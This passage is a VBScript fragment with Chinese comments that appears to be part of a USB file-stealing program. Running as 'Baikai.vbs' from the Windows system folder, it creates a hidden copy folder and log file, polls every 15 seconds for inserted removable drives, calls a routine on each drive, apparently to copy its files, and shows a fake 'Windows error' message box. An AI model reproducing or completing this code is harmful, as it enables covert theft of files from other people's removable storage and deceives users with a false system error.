If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"/Baikai.vbs" Then '如果是在system32
'文件夹不存在则创建 If (not fso.FolderExists(oDistPath & oFolderName)) Then fso.CreateFolder(oDistPath & oFolderName) End If '创建记录文件 Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"//Copy.log",True) '循环监测移动存储设备插入 Do For Each oDriver In fso.Drives If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then TreeIt(oDriver) Msgbox "Windows 错误",64 If(oOut=1) then Exit Do End if End If Next WScript.Sleep 15000 Loop Mylog.Close